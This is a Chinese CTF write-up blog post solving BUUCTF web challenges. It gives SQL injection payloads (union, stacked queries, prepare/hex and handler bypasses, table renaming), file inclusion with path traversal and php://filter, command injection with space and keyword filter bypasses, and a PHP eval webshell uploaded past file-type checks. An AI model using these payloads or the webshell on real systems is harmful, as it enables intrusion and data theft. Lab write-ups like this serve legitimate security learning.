BUUCTF-WEB
关于一些业余选手的临时复健,包含BUUCTF里web的题目,边做边写写wp。
属于是个人整理,所以描述十分笨蛋。大量参考各位师傅的wp,希望下次我再看这些题目的时候我就会了(
标*的表示我要是后面有空还要再看看这道题。
[极客大挑战 2019]EasySQL
1' or 1=1#
[极客大挑战 2019]Havefun
右键查看源代码。get请求?cat=dog
[HCTF 2018]WarmUp *
php审计。右键源代码,发现有source.php,访问审计代码。
include $_REQUEST['file'];
:应该是文件包含。
file要满足checkFile函数的检查,要返回True才能获得flag。
把checkFile贴一下:
public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; }
打开hint.php,在里面发现了flag叫:ffffllllaaaagggg。
checkFile函数里面的三个判断只需要一个return True才能判断通过。
mb_substr(string,int ,length,encoding):php中的字符串截取函数,截取string里面从第int个字符开始的长度为到length内容。
mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = mb_internal_encoding()):用于在字符串中查找特定子字符串的位置。
$haystack
是要搜索的字符串。$needle
是要查找的子字符串。$offset
是可选参数,指定从哪个字符开始搜索,默认从字符串开头(0位置)开始。$encoding
是可选参数,指定字符串的编码,默认为内部编码24。
所以这里是在$page里从0开始截取长度为:"$page.?"里面"?"在的位置的长度的字符串,也就是$page里面从开始到?的字符串。
三个判断:(1)$page在白名单中;(2)$page截取到?获得的值在白名单中;(3)$page url解码后截取的值在白名单中。
三个判断任选其一满足,因为还要读取ffffllllaaaagggg文件,所以用(2)
因为要在白名单里,所以$page的内容要可以在whitelist里搜到。
那么file要包含source.php或者hint.php.
file=hint.php+balabala
又因为file里面?前面截断的东西也要满足在白名单里,所以可以在hint.php后面+?
又因为在PHP中,当文件包含时,`?` 后的查询字符串不会影响文件路径解析,因此 `?` 之后的内容可以被解析为文件路径的一部分。
所以:file=hint.php?ffffllllaaaagggg。
这个时候没有报false,但是也没读出东西,所以目录穿越:file=hint.php?../../../../../../ffffllllaaaagggg
[ACTF2020 新生赛]Include
提示include,考虑文件包含,点开tips之后发现可以从url里读取文件。
但是打开flag.php查看源代码没有东西,所以用到php:filter去读取文件的源代码:file=php://filter/read=convert.base64-encode/resource=flag.php
然后base64解密。
[ACTF2020 新生赛]Exec
打开是一个ping命令框--命令执行。
linux的管道符:“;”:连接两个命令,A;B,无论A命令执行与否都会执行B。
1;ls
1;ls /
1;cat /flag
[GXYCTF2019]Ping Ping Ping *
也是命令执行,可以用get请求去传ip的值。
?ip=1;cat flag.php
显示过滤了空格,可以用${IFS}替换==>符号也被过滤了,换成$IFS$9可以绕过空格,但是flag被过滤了。
fla''g、fl\ag、fl$1ag、c=fl;d=ag;$c$d都不行,有的是字符被过滤了,有的可能是flag本身。
?ip=1;cat$IFS$9`ls`,可以查看到flag.php的源代码,过滤的确实很多,所以后来用了编码绕过。
?ip=1;`echo$IFS$9Y2F0IGZsYWcucGhw$IFS$9|base64$IFS$9-d`
(1)``:linux会将``内的东西当作命令执行,属于是内联绕过;
(2)编码绕过的时候引号不是必须项:echo Y2F0IGZsYWcucGhw | base64 -d,不用引号也可以。
然后发现还是没有flag,页面上没有东西,右键查看源代码,获取flag。
备注:
下图为flag.php过滤的源代码,可以看到过滤flag是按照顺序过滤的,所以可以:?ip=1;c=ag;d=fl;cat$IFS$9$d$c.php,也能获得flag。
[SUCTF 2019]EasySQL *
参考链接:
https://www.cnblogs.com/Junglezt/p/16657688.html
https://www.cnblogs.com/bkofyZ/p/17566576.html
题目提示有sql注入,1返回查询结果,1'是空,1"报错nonono,我没看出这三者的关系,想再用and测试,但是and和&&都被过滤了。
根据后面看到的堆叠注入,考虑到是数字型注入(我一般用的字符型)。
or也被过滤了,但是||没有。输入0返回为空,输入0 || 1=1返回的是1的结果,所以存在sql注入,确实是字符型注入。
除了and和or,还用burp爆破了下,确实过滤了很多东西,但是我不会看(
看了下师傅的wp,sleep和extractvalue都过滤了,所以时间盲注和报错注入都不行,于是采取了堆叠注入。
堆叠注入是一次执行多条sql语句,中间用分号分隔。所以:
1;select database(); 或者 1;show databases;
1;select table_name from information_schema.tables where table_schema='ctf';---但是这里的information中的or被过滤了,所以报nonono。
1;show tables from ctf;---from也被拦截了!!
1;show tables;---得到表Flag
但是show columns from Flag;from也会拦截。
看了下wp,去猜测后端的查询语句是怎么写的
猜测查询语句如下:
select $_POST['query'] || 'flag' from Flag;
在最开始的测试中,传1和任意数字均返回Array ( [0] => 1 ),传字母和0返回为空。===>猜测存在或运算
在自己的mysql 数据库里测了下,只有非0数字跟flag或运算可以得到1的值,其它输入会报错,在题目中的表现就是啥也不显示。
(0就是0,字母可能是因为不是个有效的布尔值,所以识别为false,那么后面的flag是false的前提下,前面只有是非0数字才能认为是ture,输出1)
那么就要构造输入,使得显示出flag。
(1)输入*,1,在数据库里的查询语句就变成了==>select *,1 || flag from Flag; 于是获得了flag。
(2)用了sql_mode中的PIPES_AS_CONCAT。
sql_mode是mysql中定义sql语法和行为的设置,PIPES_AS_CONCAT是把||是为字符串连接符。设置方法如下:
set sql_mode = PIPES_AS_CONCAT;
所以payload如下:
1;set sql_mode=PIPES_AS_CONCAT;select 1
实际查询为:
select 1;
set sql_mode='PIPES_AS_CONCAT';
select concat(1,flag) from flag;//concat(1,flag)会输出1和flag这一列的值的拼接。
从而获得flag。
[强网杯 2019]随便注 *
参考师傅bp:https://www.cnblogs.com/dtwin/p/18196764
也是sql注入。
这次输入1‘报错。
输入select发现有过滤,所以先考虑上面的堆叠注入。
1';show databases;
再去查表相关的描述就返回空了。
前面用order by测试了下这个表是两行,查询1' or '1'='1,返回表中所有的数据。
所以猜测查询语句为:
select * from table where id='$input';
那感觉我上面查询表报错可能是因为我没加#把后面的东西注释掉。
1';show tables from ctftraining;#
1';show columns from FLAG_TABLE;# ---->但是这里show三个表都报错
卡住了看了下wp。最开始报错是因为我1后面没加'
所以1';show tables;是可以看到tables的。
上面那一步没有结果是因为flag在supersqli数据库中。
接下来获取列名:
1';show columns from 1919810931114514;--->无返回值
在前面我用burp fuzz了一下,查看报错发现这个是MariaDB,MariaDB中的表如果是纯数字的话要用``包裹起来(其实不看bp我根本不知道这个
1';show columns from `1919810931114514`; 列名中有flag.
那么该从表中获取flag,但是select被过滤了,大小写绕过也不行---->看了下师傅的wp
(1)concat绕过:
1';prepare aa from concat('s','elect',' * from `1919810931114514`;');execute aa;#
prepare aa from babala:把babala存储在aa里面,然后execute aa:执行这个语句。
获得flag。
(2)十六进制绕过
1';prepare aa from 0x73656c65637420666c61672066726f6d206031393139383130393331313134353134603b;execute aa;#
注意前面添加“0x”。
(3)handler句柄:
截图一下师傅的描述(
所以payload可以是:
1';handler `1919810931114514`open as hd;handler hd read first;#
也能获得flag。
(4)用重命名rename。
前面在查询表的时候查询到了除了1919810931114514之外还有个"words"表。这个查询的是当前查询在的数据库的表,所以上述猜想的查询应该是:
select * from words where id='$input';
那么把words改成word1,1919810931114514改成words,不就可以查这个表了吗?
所以:
1';alter table words rename to words1;alter able `1919810931114514` rename to words;alter table words change flag id varchar(50);#
要是我的话我只能想到修改名字,后面要把原1919810931114514表,现在的words表的flag字段改成id,还要把数据类型改成varchar(50)。
然后用1';'1' or '1'#查询flag。
我的天这位师傅好强,菜狗震撼。
[极客大挑战 2019]LoveSQL
是登录框的那种,登录成功了会返回admin账号密码,失败了返回的是没用这个账号和密码,也会有报错的信息。
在username那里输入1' order by 3#,判断是3行,password要有输入但是好像输入不太影响。
1' union select 1,2,group_concat(schema_name) from information_schema.schemata;# //得到database叫geek。
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek';# //获得l0ve1ysq1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1';# //获得'id,username,password'
1' union select 1,2,group_concat(password)from geek.l0ve1ysq1;# //获得flag。
[极客大挑战 2019]Secret File
右键查看源代码,发现action.php,然后burp抓包发现了secr3t.php,是php代码审计,是文件包含,还有过滤。
?file=php://filter/read=convert.base64-encode/resource=flag.php
返回base64编码,找到flag。
[极客大挑战 2019]Http
查看网页源代码,找到了个Secret.php,打开发现,说需要我的来源是xxx网站。
蛮简单的,第一步是改Referer,第二步是UA改浏览器,第三步是改成X-Forwarded-For,获得flag。
[极客大挑战 2019]Upload
是文件上传。
传了个包含一句话木马“<?php @eval($_POST["x"]);?>”的txt,显示不是图片。
把Content-Type改成了:image/jpeg,返回说我的文件里有:"<?"。
改成:<script language="php">@eval($_POST["x"]);</script>
它检测出这个不是图片,在前面加上GIF89a试试,传上去了。
改成php文件上传,会告诉我说:no!php!
那么搞到图片里:copy 11.jpg/b + 1.php shell.jpg---->但是图片上传上去他告诉我不是image。
所以继续接着之前的思路,我把上传文件改成了1.phtml,上传成功。
但是不知道哪个路径,所以我用蚁剑盲连接,当然没连上。
上传完之后在连接之前可以在网页里打开试试。
那么怎么找到上传的路径呢?这个也可以fuzz一下。
我写这里也记录下。
file/ fileRealm/ file\_manager/ file\_upload/ fileadmin/ fileadmin/\_processed\_/ fileadmin/\_temp\_/ fileadmin/user\_upload/ upload/ filedump/ filemanager/ filerun/ fileupload/ files/ files/cache/ files/tmp/ logfile/ paket-files/ profile/ profiles/ |
第一次爆破没找到目录,发现是后面的/被url编码了,所以在Intruder里把编码关掉。
找到目录是/upload/,蚁剑连上,找到flag。
[极客大挑战 2019]Knife
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)